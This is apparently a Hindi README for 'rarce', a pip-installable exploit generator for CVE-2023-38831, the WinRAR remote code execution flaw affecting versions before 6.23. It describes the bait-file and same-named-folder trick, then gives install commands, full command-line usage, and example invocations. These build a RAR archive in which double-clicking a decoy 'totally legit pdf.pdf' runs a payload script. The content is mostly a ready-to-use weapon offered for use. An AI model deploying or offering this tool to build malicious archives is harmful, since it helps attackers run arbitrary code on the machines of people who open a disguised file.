
WinRAR 6.23 से पहले के संस्करणों में CVE-2023-38831, WinRAR RCE के लिए एक्सप्लॉइट पेलोड उत्पन्न करने के लिए एक आसानी से इंस्टॉल होने वाला और आसानी से चलने वाला टूल।
यह CVE-2023-38831 के लिए एक आसानी से इंस्टॉल होने वाला और उपयोग में सरल, बहुमुखी एक्सप्लॉइट जनरेटर है, जो एक कमजोरी है जो WinRAR के 6.23 से पहले के संस्करणों को प्रभावित करती है।
RARLabs WinRAR 6.23 से पहले के संस्करण हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देते हैं जब कोई उपयोगकर्ता ZIP संग्रह में एक हानिरहित फ़ाइल देखने का प्रयास करता है। यह समस्या इसलिए होती है क्योंकि एक ZIP संग्रह में एक हानिरहित फ़ाइल (जैसे सामान्य .JPG फ़ाइल) और साथ ही एक फ़ोल्डर शामिल हो सकता है जिसका नाम उस हानिरहित फ़ाइल के समान होता है, और फ़ोल्डर की सामग्री (जिसमें निष्पादन योग्य सामग्री शामिल हो सकती है) केवल हानिरहित फ़ाइल तक पहुँचने के प्रयास के दौरान संसाधित होती है। अप्रैल से अगस्त 2023 के बीच इसका सक्रिय रूप से शोषण किया गया था।

आप इस टूल को pip के माध्यम से आसानी से इंस्टॉल कर सकते हैं।
pip install rarce
या, आप इसे स्रोत कोड से उपयोग कर सकते हैं।
git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install
usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output
Exploit generator for CVE-2023-38831
positional arguments:
bait Path to the bait file to to add to the archive.
switch Path to the payload to switcheroo with the bait file on double click.
output Path to the output file.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose output.
-i, --ignore-path-check
Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
output path.
-dt, --dont-use-tempdir
Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
working directory.
-pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.
pip या setup.py के माध्यम से इंस्टॉल करने के बाद, आप इस टूल को कमांड लाइन से उपयोग कर सकते हैं। निम्न कमांड आपके लिए एक्सप्लॉइट फ़ाइल बनाएगी। जब कोई उपयोगकर्ता बेट फ़ाइल पर डबल क्लिक करता है, तो उसके स्थान पर पेलोड स्क्रिप्ट या निष्पादन योग्य फ़ाइल चलेगी।
$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
वैकल्पिक रूप से, आप इसे एक रनेबल मॉड्यूल के रूप में उपयोग कर सकते हैं।
python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
आप इसे अपने मौजूदा कोड के भीतर भी उपयोग कर सकते हैं।
from rarce import exploit
exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")